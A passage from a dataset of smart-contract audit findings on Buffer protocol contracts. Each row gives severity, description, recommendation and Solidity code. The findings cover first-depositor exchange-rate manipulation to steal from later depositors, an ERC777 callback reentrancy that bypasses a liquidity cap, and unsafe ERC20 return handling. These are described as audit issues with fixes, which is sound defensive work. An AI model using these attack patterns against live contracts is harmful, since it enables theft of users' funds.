OpenTradeParams memory currentParams = params[index];\\n QueuedTrade memory queuedTrade = queuedTrades[\\n currentParams.queueId\\n ];\\n bool isSignerVerifed = _validateSigner(\\n currentParams.timestamp,\\n currentParams.asset,\\n currentParams.price,\\n currentParams.signature\\n );\\n // Silently fail if the signature doesn't match\\n if (!isSignerVerifed) {\\n emit FailResolve(\\n currentParams.queueId,\\n "Router: Signature didn't match"\\n );\\n continue;\\n }\\n if (\\n !queuedTrade.isQueued ||\\n currentParams.timestamp != queuedTrade.queuedTime\\n ) {\\n // Trade has already been opened or cancelled or the timestamp is wrong.\\n // So ignore this trade.\\n continue;\\n }\\n\\n // If the opening time is much greater than the queue time then cancel the trad\\n if (block.timestamp - queuedTrade.queuedTime <= MAX_WAIT_TIME) {\\n _openQueuedTrade(currentParams.queueId, currentParams.price);\\n } else {\\n _cancelQueuedTrade(currentParams.queueId);\\n emit CancelTrade(\\n queuedTrade.user,\\n currentParams.queueId,\\n "Wait time too high"\\n );\\n }\\n\\n // Track the next queueIndex to be processed for user\\n userNextQueueIndexToProcess[queuedTrade.user] =\\n queuedTrade.userQueueIndex +\\n 1;\\n }\\n```\\n |
Early depositors to BufferBinaryPool can manipulate exchange rates to steal funds from later depositors | high | To calculate the exchange rate for shares in BufferBinaryPool it divides the total supply of shares by the totalTokenXBalance of the vault. The first deposit can mint a very small number of shares then donate tokenX to the vault to grossly manipulate the share price. When later depositor deposit into the vault they will lose value due to precision loss and the adversary will profit.\\n```\\nfunction totalTokenXBalance()\\n public\\n view\\n override\\n returns (uint256 balance)\\n{\\n return tokenX.balanceOf(address(this)) - lockedPremium;\\n}\\n```\\n\\nShare exchange rate is calculated using the total supply of shares and the totalTokenXBalance, which leaves it vulnerable to exchange rate manipulation. As an example, assume tokenX == USDC. An adversary can mint a single share, then donate 1e8 USDC. Minting the first share established a 1:1 ratio but then donating 1e8 changed the ratio to 1:1e8. Now any deposit lower than 1e8 (100 USDC) will suffer from precision loss and the attackers share will benefit from it. | Require a small minimum deposit (i.e. 1e6) | Adversary can effectively steal funds from later users through precision loss | ```\\nfunction totalTokenXBalance()\\n public\\n view\\n override\\n returns (uint256 balance)\\n{\\n return tokenX.balanceOf(address(this)) - lockedPremium;\\n}\\n```\\n |
When tokenX is an ERC777 token, users can bypass maxLiquidity | medium | When tokenX is an ERC777 token, users can use callbacks to provide liquidity exceeding maxLiquidity\\nIn BufferBinaryPool._provide, when tokenX is an ERC777 token, the tokensToSend function of account will be called in tokenX.transferFrom before sending tokens. When the user calls provide again in tokensToSend, since BufferBinaryPool has not received tokens at this time, totalTokenXBalance() has not increased, and the following checks can be bypassed, so that users can provide liquidity exceeding maxLiquidity.\\n```\\n require(\\n balance + tokenXAmount <= maxLiquidity,\\n "Pool has already reached it's max limit"\\n );\\n```\\n | Change to\\n```\\n function _provide(\\n uint256 tokenXAmount,\\n uint256 minMint,\\n address account\\n ) internal returns (uint256 mint) {\\n// Add the line below\\n bool success = tokenX.transferFrom(\\n// Add the line below\\n account,\\n// Add the line below\\n address(this),\\n// Add the line below\\n tokenXAmount\\n// Add the line below\\n );\\n uint256 supply = totalSupply();\\n uint256 balance = totalTokenXBalance();\\n\\n require(\\n balance // Add the line below\\n tokenXAmount <= maxLiquidity,\\n "Pool has already reached it's max limit"\\n );\\n\\n if (supply > 0 && balance > 0)\\n mint = (tokenXAmount * supply) / (balance);\\n else mint = tokenXAmount * INITIAL_RATE;\\n\\n require(mint >= minMint, "Pool: Mint limit is too large");\\n require(mint > 0, "Pool: Amount is too small");\\n\\n// Remove the line below\\n bool success = tokenX.transferFrom(\\n// Remove the line below\\n account,\\n// Remove the line below\\n address(this),\\n// Remove the line below\\n tokenXAmount\\n// Remove the line below\\n );\\n```\\n | users can provide liquidity exceeding maxLiquidity. | ```\\n require(\\n balance + tokenXAmount <= maxLiquidity,\\n "Pool has already reached it's max limit"\\n );\\n```\\n |
Limited support to a specific subset of ERC20 tokens | medium | Buffer contest states 'any ERC20 supported', therefore it should take into account all the different ways of signalling success and failure. This is not the case, as all ERC20's transfer(), transferFrom(), and approve() functions are either not verified at all or verified for returning true. As a result, depending on the ERC20 token, some transfer errors may result in passing unnoticed, and/or some successfull transfer may be treated as failed.\\nCurrently the only supported ERC20 tokens are the ones that fulfill both the following requirements:\\nalways revert on failure;\\nalways returns boolean true on success.\\nAn example of a very well known token that is not supported is Tether USD (USDT).\\n👋 IMPORTANT This issue is not the same as reporting that "return value must be verified to be true" where the checks are missing! Indeed such a simplistic report should be considered invalid as it still does not solve all the problems but rather introduces others. See Vulnerability Details section for rationale.\\nTokens have different ways of signalling success and failure, and this affect mostly transfer(), transferFrom() and approve() in ERC20 tokens. While some tokens revert upon failure, others consistently return boolean flags to indicate success or failure, and many others have mixed behaviours.\\nSee below a snippet of the USDT Token contract compared to the 0x's ZRX Token contract where the USDT Token transfer function does not even return a boolean value, while the ZRX token consistently returns boolean value hence returning false on failure instead of reverting.\\nUSDT Token snippet (no return value) from Etherscan\\n```\\nfunction transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {\\n var _allowance = allowed[_from][msg.sender];\\n\\n // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met\\n // if (_value > _allowance) throw;\\n\\n uint fee = (_value.mul(basisPointsRate)).div(10000);\\n if (fee > maximumFee) {\\n fee = maximumFee;\\n }\\n if (_allowance < MAX_UINT) {\\n allowed[_from][msg.sender] = _allowance.sub(_value);\\n }\\n uint sendAmount = _value.sub(fee);\\n balances[_from] = balances[_from].sub(_value);\\n balances[_to] = balances[_to].add(sendAmount);\\n if (fee > 0) {\\n balances[owner] = balances[owner].add(fee);\\n Transfer(_from, owner, fee);\\n }\\n Transfer(_from, _to, sendAmount);\\n}\\n```\\n\\nZRX Token snippet (consistently true or false boolean result) from Etherscan\\n```\\nfunction transferFrom(address _from, address _to, uint _value) returns (bool) {\\n if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value >= balances[_to]) {\\n balances[_to] += _value;\\n balances[_from] -= _value;\\n allowed[_from][msg.sender] -= _value;\\n Transfer(_from, _to, _value);\\n return true;\\n } else { return false; }\\n}\\n```\\n | To handle most of these inconsistent behaviors across multiple tokens, either use OpenZeppelin's SafeERC20 library, or use a more reusable implementation (i.e. library) of the following intentionally explicit, descriptive example code for an ERC20 transferFrom() call that takes into account all the different ways of signalling success and failure, and apply to all ERC20 transfer(), transferFrom(), approve() calls in the Buffer contracts.\\n```\\nIERC20 token = whatever_token;\\n\\n(bool success, bytes memory returndata) = address(token).call(abi.encodeWithSelector(IERC20.transferFrom.selector, sender, recipient, amount));\\n\\n// if success == false, without any doubts there was an error and callee reverted\\nrequire(success, "Transfer failed!");\\n\\n// if success == true, we need to check whether we got a return value or not (like in the case of USDT)\\nif (returndata.length > 0) {\\n // we got a return value, it must be a boolean and it should be true\\n require(abi.decode(returndata, (bool)), "Transfer failed!");\\n} else {\\n // since we got no return value it can be one of two cases:\\n // 1. the transferFrom does not return a boolean and it did succeed\\n // 2. the token address is not a contract address therefore call() always return success = true as per EVM design\\n // To discriminate between 1 and 2, we need to check if the address actually points to a contract\\n require(address(token).code.length > 0, "Not a token address!");\\n}\\n```\\n | Given the different usages of token transfers in BufferBinaryOptions.sol, BufferBinaryPool.sol, and BufferRouter.sol, there can be 2 types of impacts depending on the ERC20 contract being traded.\\nThe ERC20 token being traded is one that consistently returns a boolean result in the case of success and failure like for example 0x's ZRX Token contract. Where the return value is currently not verified to be true (i.e.: #1, #2, #3, #4, #5, #6) the transfer may fail (e.g.: no tokens transferred due to insufficient balance) but the error would not be detected by the Buffer contracts.\\nThe ERC20 token being traded is one that do not return a boolean value like for example the well knonw Tether USD Token contract. Successful transfers would cause a revert in the Buffer contracts where the return value is verified to be true (i.e.: #1, #2, #3, #4) due to the token not returing boolean results.\\nSame is true for appove calls. | ```\\nfunction transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {\\n var _allowance = allowed[_from][msg.sender];\\n\\n // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met\\n // if (_value > _allowance) throw;\\n\\n uint fee = (_value.mul(basisPointsRate)).div(10000);\\n if (fee > maximumFee) {\\n fee = maximumFee;\\n }\\n if (_allowance < MAX_UINT) {\\n allowed[_from][msg.sender] = _allowance.sub(_value);\\n }\\n uint sendAmount = _value.sub(fee);\\n balances[_from] = balances[_from].sub(_value);\\n balances[_to] = balances[_to].add(sendAmount);\\n if (fee > 0) {\\n balances[owner] = balances[owner].add(fee);\\n Transfer(_from, owner, fee);\\n }\\n Transfer(_from, _to, sendAmount);\\n}\\n```\\n |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.